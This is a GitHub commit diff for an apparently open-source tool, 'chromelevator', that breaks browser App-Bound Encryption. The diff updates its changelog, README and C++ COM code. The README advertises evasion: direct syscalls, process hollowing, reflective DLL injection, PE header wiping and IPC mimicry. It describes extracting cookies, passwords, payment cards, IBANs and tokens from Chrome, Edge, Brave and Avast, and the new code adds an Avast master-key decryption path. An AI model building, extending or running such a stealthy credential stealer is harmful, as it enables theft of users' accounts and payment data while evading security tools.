Skip to content

Commit dc72a9e

Browse files
committed
0.20.0
1 parent b3dc8c6 commit dc72a9e

File tree

14 files changed

+175
-145
lines changed

14 files changed

+175
-145
lines changed

CHANGELOG.md

Lines changed: 19 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,23 @@
11
# Chrome App-Bound Encryption Decryption
22

3-
## 🆕 Changelog
3+
## Changelog
4+
5+
### v0.20.0
6+
7+
* **Critical Stealth Fix: Bootstrap Direct Syscalls** (thanks [@wrapdavid](https://github.com/wrapdavid) for the sharp-eyed report!): The reflective loader's bootstrap now correctly invokes direct syscalls for `NtAllocateVirtualMemory` and `NtProtectVirtualMemory` through the linked `SyscallTrampoline` assembly function.
8+
* The bootstrap now calls the `SyscallTrampoline` assembly used by the injector stage, with a `SyscallEntry` struct layout matching the ASM expectations (gadget pointer at offset 0, arg count at offset 8, SSN at offset 12).
9+
* All `VirtualAlloc`/`VirtualProtect` fallback code has been permanently removed. The bootstrap now operates exclusively through direct syscalls.
10+
11+
* **Avast Secure Browser Support**: Added full App-Bound Encryption decryption support for Avast Secure Browser.
12+
* Avast's `IElevatorChrome` COM interface has 12 methods (vs Chrome's 3), with `DecryptData` at vtable slot 13 (offset 104 bytes).
13+
* New `IAvastElevator` COM interface definition with complete vtable layout.
14+
* Browser discovery via Windows Registry with standard and WOW6432Node paths.
15+
* Correctly routes Avast through the `IAvastElevator` COM path for vtable-compatible DecryptData invocation.
16+
* Use `chromelevator.exe avast` or include in `all` scan.
17+
18+
* **Architecture Detection Fix**: Replaced `IsWow64Process2`-based architecture detection with direct PE header reading.
19+
* `IsWow64Process2` returns incorrect results for x64 processes running under emulation on ARM64 Windows (reports `processArch = 0`), causing the tool to misidentify the target architecture.
20+
* Now reads the PE file header's `Machine` field directly from the browser executable, which is always accurate regardless of emulation layer.
421

522
### v0.19.0
623

@@ -39,7 +56,7 @@
3956
* Brave Browser reuses Chrome's `IElevator2Chrome` IID for compatibility.
4057

4158
* **Chrome Beta Channel Support**: Added Chrome Beta as a separate browser target.
42-
* Use `--target chrome-beta` or include in `all` scan.
59+
* Use `chromelevator.exe chrome-beta` or include in `all` scan.
4360
* Separate CLSID/IID configuration for Chrome Beta's elevation service.
4461
* IElevator2 support included for Chrome Beta 144+.
4562

README.md

Lines changed: 28 additions & 27 deletions
Original file line numberDiff line numberDiff line change
@@ -21,9 +21,9 @@ This tool's effectiveness is rooted in a combination of modern, evasion-focused
2121

2222
- **Direct Syscall-Based Process Hollowing:** A stealthy process creation and injection technique. Instead of injecting into a high-traffic, potentially monitored process, it creates a new, suspended host process. This significantly reduces the chances of detection, as all memory manipulations occur before the process begins normal execution.
2323

24-
- **Fileless In-Memory Payload:** The payload DLL never touches the disk on the target machine. It is stored encrypted within the injector using **ChaCha20** with **compile-time derived keys**, decrypted in-memory, and reflectively loaded, minimizing its forensic footprint and bypassing static file-based scanners.
24+
- **Fileless In-Memory Payload:** The payload DLL never touches the disk on the target machine. It is embedded as a **ChaCha20-encrypted** compile-time byte array with **compile-time derived keys**, decrypted in-memory, and reflectively loaded, minimizing its forensic footprint and bypassing static file-based scanners.
2525

26-
- **Reflective DLL Injection (RDI):** A stealthy process injection method that circumvents `LoadLibrary`, thereby evading detection mechanisms that monitor module loads. The self-contained C loader resolves all of its own dependencies from memory.
26+
- **Reflective DLL Injection (RDI):** A stealthy process injection method that circumvents `LoadLibrary` for the main payload, thereby evading detection mechanisms that monitor module loads. The self-contained bootstrap loader maps PE sections, performs relocations, and resolves imports from memory.
2727

2828
- **Target-Context COM Invocation:** The lynchpin for defeating App-Bound Encryption. By executing code _within_ the trusted browser process, we inherit its identity and security context, allowing us to make legitimate-appearing calls to the ABE COM server and satisfy its path-validation security checks.
2929

@@ -38,20 +38,20 @@ This tool's effectiveness is rooted in a combination of modern, evasion-focused
3838

3939
### Stealth & Evasion
4040

41-
- 🛡️ **Fileless Payload Delivery:** In-memory decryption and injection of an encrypted resource.
41+
- 🛡️ **Fileless Payload Delivery:** In-memory decryption and injection of an encrypted embedded payload.
4242
- 🛡️ **Direct Syscall Engine:** Bypasses common endpoint defenses by avoiding hooked user-land APIs for all process operations.
4343
- 🛡️ **Hash-Based Syscall Resolution:** No plaintext `Nt*`/`Zw*` function names in binary—uses compile-time DJB2 hashes.
4444
- 🛡️ **Compile-Time Key Derivation:** Encryption keys derived from build metadata, unique per build.
4545
- 🛡️ **PE Header Destruction:** Post-injection PE headers obliterated with pseudo-random data to evade memory scanners.
4646
- 🛡️ **IPC Mimicry:** Browser-specific named pipe patterns that blend with legitimate browser IPC traffic.
4747
- 🤫 **Process Hollowing:** Creates a benign, suspended host process for the payload, avoiding injection into potentially monitored processes.
4848
- 👻 **Reflective DLL Injection:** Stealthily loads the payload without suspicious `LoadLibrary` calls.
49-
- 🔒 **Proactive File-Lock Mitigation:** Automatically terminates browser utility processes that hold locks on target database files.
49+
- 🔒 **Non-Intrusive File-Lock Bypass:** Uses syscall-based handle duplication to access locked SQLite databases without terminating browser processes. Optional `--kill` flag available for full process termination.
5050
- 💼 **No Admin Privileges Required:** Operates entirely within the user's security context.
5151

5252
### Compatibility & Usability
5353

54-
- 🌐 Works on **Google Chrome**, **Brave**, & **Edge**.
54+
- 🌐 Works on **Google Chrome**, **Brave**, **Edge**, & **Avast Secure Browser**.
5555
- 💻 Natively supports **x64** and **ARM64** architectures.
5656
- 🚀 **Standalone Operation:** Automatically creates a new browser process to host the payload, requiring no pre-existing running instances.
5757
- 📁 Customizable output directory for extracted data.
@@ -61,35 +61,36 @@ This tool's effectiveness is rooted in a combination of modern, evasion-focused
6161

6262
## 📦 Supported & Tested Versions
6363

64-
| Browser | Tested Version (x64 & ARM64) |
65-
| ----------------------- | ---------------------------- |
66-
| **Google Chrome** | 144.0.7559.97 |
67-
| **Google Chrome Beta** | 145.0.7632.18 |
68-
| **Brave** | 1.86.142 (144.0.7559.97) |
69-
| **Microsoft Edge** | 144.0.3719.92 |
64+
| Browser | Tested Version (x64 & ARM64) |
65+
| -------------------------- | ---------------------------- |
66+
| **Google Chrome** | 144.0.7559.133 |
67+
| **Google Chrome Beta** | 145.0.7632.18 |
68+
| **Brave** | 1.86.148 (144.1.86.148) |
69+
| **Microsoft Edge** | 145.0.3800.36 |
70+
| **Avast Secure Browser** | 143.0.33371.147 |
7071

71-
> **Note:** Chrome/Brave/Edge 144+ use the new `IElevator2` COM interface. This tool automatically uses `IElevator2` when available and falls back to `IElevator` for older versions.
72+
> **Note:** Chrome/Brave/Edge 144+ use the new `IElevator2` COM interface. This tool automatically uses `IElevator2` when available and falls back to `IElevator` for older versions. Avast Secure Browser uses a custom `IElevatorChrome` interface with an extended vtable (12 methods, DecryptData at offset 104).
7273
7374
## 🔍 Feature Support Matrix
7475

7576
This matrix outlines the extraction capabilities for each supported browser.
7677

77-
| Feature | Google Chrome | Microsoft Edge | Brave |
78-
|----------------------|------------------------|------------------------|-----------------------------------------|
79-
| **Cookies** | ✅ ABE | ✅ ABE | ✅ ABE |
80-
| **Passwords** | ✅ ABE | ✅ ABE | ✅ ABE |
81-
| **Payment Methods** | ✅ ABE | ✅ ABE | ✅ ABE |
82-
| **IBANs** | ✅ ABE | ❌ N/A | ✅ ABE |
83-
| **Auth Tokens** | ✅ Google | ❌ N/A | ❌ N/A |
78+
| Feature | Google Chrome | Microsoft Edge | Brave | Avast Secure Browser |
79+
|----------------------|------------------------|------------------------|------------------------|------------------------|
80+
| **Cookies** | ✅ ABE | ✅ ABE | ✅ ABE | ✅ ABE |
81+
| **Passwords** | ✅ ABE | ✅ ABE | ✅ ABE | ✅ ABE |
82+
| **Payment Methods** | ✅ ABE | ✅ ABE | ✅ ABE | ✅ ABE |
83+
| **IBANs** | ✅ ABE | ❌ N/A | ✅ ABE | ✅ ABE |
84+
| **Auth Tokens** | ✅ Google | ❌ N/A | ❌ N/A | ❌ N/A |
8485

8586
## 🔬 Technical Workflow
8687

8788
The tool's execution is focused on stealth and efficiency, built around a **Direct Syscall-based Reflective Hollowing** process. This approach ensures that few high-level API calls are made and that the payload operates from within a legitimate, newly created browser process.
8889

8990
### **Stage 1: The Injector (`chromelevator.exe`)**
9091

91-
1. **Pre-Flight & Initialization:** The injector begins by initializing its **direct syscall engine**, dynamically parsing `ntdll.dll` to resolve syscall numbers (SSNs) using hash-based matching and locate kernel transition gadgets (`syscall/ret` or `svc/ret`). It then performs a critical pre-flight check, using `NtGetNextProcess` and other syscalls to find and terminate any browser "network service" child processes. This preemptively releases file locks on the target SQLite databases.
92-
2. **Payload Preparation:** The core payload DLL, which is stored as a **ChaCha20-encrypted resource** with compile-time derived keys, is loaded and decrypted entirely in-memory.
92+
1. **Pre-Flight & Initialization:** The injector begins by initializing its **direct syscall engine**, dynamically parsing `ntdll.dll` to resolve syscall numbers (SSNs) using hash-based matching and locate kernel transition gadgets (`syscall/ret` or `svc/ret`). If the `--kill` flag is specified, it uses `NtGetNextProcess` and `NtTerminateProcess` syscalls to terminate all running instances of the target browser, releasing file locks on SQLite databases.
93+
2. **Payload Preparation:** The core payload DLL, which is embedded as a **ChaCha20-encrypted** compile-time byte array with compile-time derived keys, is decrypted entirely in-memory.
9394
3. **Process Hollowing:** Instead of targeting an existing process, the injector creates a new instance of the target browser in a **`CREATE_SUSPENDED`** state (`CreateProcessW`). This pristine, suspended process serves as the host for our payload.
9495
4. **Reflective Injection via Syscalls:** Using the direct syscall engine, the injector performs a series of stealthy actions on the suspended process:
9596
- It allocates memory using `NtAllocateVirtualMemory` (direct syscall).
@@ -108,14 +109,14 @@ The tool's execution is focused on stealth and efficiency, built around a **Dire
108109
- **Destroys PE headers** by overwriting DOS/NT headers with pseudo-random data, eliminating MZ signature from memory.
109110
- Finally, invokes the payload's `DllMain`.
110111
2. **Connection & Setup:** The `DllMain` spawns a new thread that immediately connects to the named pipe handle passed by the injector. It reads the configuration, including the output path, sent by the injector. All subsequent logs and status updates are relayed back through this pipe.
111-
3. **Target-Context COM Hijack:** Now running natively within the browser process, the payload instantiates the browser's internal COM server (`IElevator2` for Chrome 144+, `IElevator` for earlier versions, or `IEdgeElevatorFinal` for Edge). As the call originates from a trusted process path, all of the server's security checks are passed.
112+
3. **Target-Context COM Hijack:** Now running natively within the browser process, the payload instantiates the browser's internal COM server (`IElevator2` for Chrome/Brave 144+, `IElevator` for earlier versions, `IEdgeElevatorFinal` for Edge, or `IAvastElevator` for Avast Secure Browser). As the call originates from a trusted process path, all of the server's security checks are passed.
112113
4. **Master Key Decryption:** The payload calls the `DecryptData` method on the COM interface, providing the `app_bound_encrypted_key` it reads from the `Local State` file. The COM server dutifully decrypts the key and returns the plaintext AES-256 master key to the payload.
113114
5. **Data Exfiltration:** Armed with the AES key, the payload enumerates all user profiles (`Default`, `Profile 1`, etc.). For each profile, it queries the relevant SQLite databases (`Cookies`, `Login Data`, `Web Data`), decrypts the data blobs using AES-256-GCM, and formats the secrets as JSON. The results are written directly to the output directory specified by the injector.
114115
6. **Shutdown:** After processing all profiles, the payload sends a completion signal to the injector over the pipe and calls `FreeLibraryAndExitThread` to clean up. The injector, upon receiving the signal, terminates the parent host process with `NtTerminateProcess`.
115116

116117
## 🔧 Build Instructions
117118

118-
This project uses a simple, robust build script that handles all compilation and resource embedding automatically.
119+
This project uses a simple, robust build script that handles all compilation and payload embedding automatically.
119120

120121
1. **Clone** this repository.
121122

@@ -152,9 +153,9 @@ _________ .__ ___________.__ __
152153
\______ /___| /__| \____/|__|_| /_______ /|____/\___ >\_/ (____ /__| \____/|__|
153154
\/ \/ \/ \/ \/ \/
154155
Direct Syscall-Based Reflective Hollowing
155-
x64 & ARM64 | v0.18.1 by @xaitax
156+
x64 & ARM64 | v0.20.0 by @xaitax
156157

157-
Usage: chromelevator.exe [options] <chrome|chrome-beta|edge|brave|all>
158+
Usage: chromelevator.exe [options] <chrome|chrome-beta|edge|brave|avast|all>
158159

159160
Options:
160161
-v, --verbose Show detailed output
@@ -195,7 +196,7 @@ _________ .__ ___________.__ __
195196
\______ /___| /__| \____/|__|_| /_______ /|____/\___ >\_/ (____ /__| \____/|__|
196197
\/ \/ \/ \/ \/ \/
197198
Direct Syscall-Based Reflective Hollowing
198-
x64 & ARM64 | v0.18.1 by @xaitax
199+
x64 & ARM64 | v0.20.0 by @xaitax
199200
200201
┌──── Brave (143.1.85.120) ──────────────────────
201202
@@ -270,7 +271,7 @@ _________ .__ ___________.__ __
270271
\______ /___| /__| \____/|__|_| /_______ /|____/\___ >\_/ (____ /__| \____/|__|
271272
\/ \/ \/ \/ \/ \/
272273
Direct Syscall-Based Reflective Hollowing
273-
x64 & ARM64 | v0.18.1 by @xaitax
274+
x64 & ARM64 | v0.20.0 by @xaitax
274275
275276
┌──── Chrome (143.0.7499.193) ───────────────────
276277
│ Creating suspended process: C:\Program Files\Google\Chrome\Application\chrome.exe

src/com/elevator.cpp

Lines changed: 15 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -27,7 +27,8 @@ namespace Com
2727
const CLSID &clsid,
2828
const IID &iid,
2929
const std::optional<IID> &iid_v2,
30-
bool isEdge)
30+
bool isEdge,
31+
bool isAvast)
3132
{
3233
BSTR bstrEnc = SysAllocStringByteLen(reinterpret_cast<const char *>(encryptedKey.data()), (UINT)encryptedKey.size());
3334
if (!bstrEnc)
@@ -70,6 +71,19 @@ namespace Com
7071
}
7172
}
7273
}
74+
else if (isAvast)
75+
{
76+
// Avast uses same IID as Chrome base IElevator but has 12 methods instead of 3
77+
// DecryptData is at vtable slot 13 (offset 104) instead of slot 5 (offset 40)
78+
Microsoft::WRL::ComPtr<IAvastElevator> elevator;
79+
hr = CoCreateInstance(clsid, nullptr, CLSCTX_LOCAL_SERVER, iid, &elevator);
80+
if (SUCCEEDED(hr))
81+
{
82+
CoSetProxyBlanket(elevator.Get(), RPC_C_AUTHN_DEFAULT, RPC_C_AUTHZ_DEFAULT, COLE_DEFAULT_PRINCIPAL,
83+
RPC_C_AUTHN_LEVEL_PKT_PRIVACY, RPC_C_IMP_LEVEL_IMPERSONATE, nullptr, EOAC_DYNAMIC_CLOAKING);
84+
hr = elevator->DecryptData(bstrEnc, &bstrPlain, &comErr);
85+
}
86+
}
7387
else
7488
{
7589
Microsoft::WRL::ComPtr<IOriginalBaseElevator> elevator;

src/com/elevator.hpp

Lines changed: 22 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -19,6 +19,7 @@ namespace Com {
1919
};
2020

2121
// Interface definitions
22+
// Chrome/Brave IElevator interface (3 methods)
2223
MIDL_INTERFACE("A949CB4E-C4F9-44C4-B213-6BF8AA9AC69C")
2324
IOriginalBaseElevator : public IUnknown {
2425
public:
@@ -27,6 +28,25 @@ namespace Com {
2728
virtual HRESULT STDMETHODCALLTYPE DecryptData(const BSTR, BSTR*, DWORD*) = 0;
2829
};
2930

31+
// Avast's IElevatorChrome interface (12 methods - same vtable as base IElevator but properly registered)
32+
// Avast added 9 methods between RunRecoveryCRXElevated and EncryptData
33+
MIDL_INTERFACE("7737BB9F-BAC1-4C71-A696-7C82D7994B6F")
34+
IAvastElevator : public IUnknown {
35+
public:
36+
virtual HRESULT STDMETHODCALLTYPE RunRecoveryCRXElevated(const WCHAR*, const WCHAR*, const WCHAR*, const WCHAR*, DWORD, ULONG_PTR*) = 0;
37+
virtual HRESULT STDMETHODCALLTYPE UpdateSearchProviderElevated(const WCHAR*) = 0;
38+
virtual HRESULT STDMETHODCALLTYPE CleanupMigrateStateElevated(void) = 0;
39+
virtual HRESULT STDMETHODCALLTYPE UpdateInstallerLangElevated(const WCHAR*) = 0;
40+
virtual HRESULT STDMETHODCALLTYPE UpdateBrandValueElevated(const WCHAR*) = 0;
41+
virtual HRESULT STDMETHODCALLTYPE MigrateUninstallKeyElevated(const WCHAR*) = 0;
42+
virtual HRESULT STDMETHODCALLTYPE UpdateEndpointIdElevated(const char*) = 0;
43+
virtual HRESULT STDMETHODCALLTYPE UpdateFingerprintIdElevated(const char*) = 0;
44+
virtual HRESULT STDMETHODCALLTYPE RunMicroMVDifferentialUpdate(void) = 0;
45+
virtual HRESULT STDMETHODCALLTYPE EncryptData(ProtectionLevel, const BSTR, BSTR*, DWORD*) = 0;
46+
virtual HRESULT STDMETHODCALLTYPE DecryptData(const BSTR, BSTR*, DWORD*) = 0;
47+
virtual HRESULT STDMETHODCALLTYPE DecryptData2(const BSTR, BSTR*, DWORD*) = 0;
48+
};
49+
3050
MIDL_INTERFACE("E12B779C-CDB8-4F19-95A0-9CA19B31A8F6")
3151
IEdgeElevatorBase_Placeholder : public IUnknown {
3252
public:
@@ -67,7 +87,8 @@ namespace Com {
6787
const CLSID& clsid,
6888
const IID& iid,
6989
const std::optional<IID>& iid_v2,
70-
bool isEdge);
90+
bool isEdge,
91+
bool isAvast = false);
7192

7293
// Decrypt using specific Edge IID (for testing Copilot vs Edge)
7394
std::vector<uint8_t> DecryptKeyEdgeIID(

src/core/version.hpp

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -6,9 +6,9 @@
66
namespace Core {
77

88
// Main version string - shown in banner
9-
constexpr const char* VERSION = "0.19.0";
9+
constexpr const char* VERSION = "0.20.0";
1010

1111
// Full version for build identification (update for releases)
12-
constexpr const char* BUILD_TAG = "v0.19.0";
12+
constexpr const char* BUILD_TAG = "v0.20.0";
1313

1414
}

0 commit comments

Comments
 (0)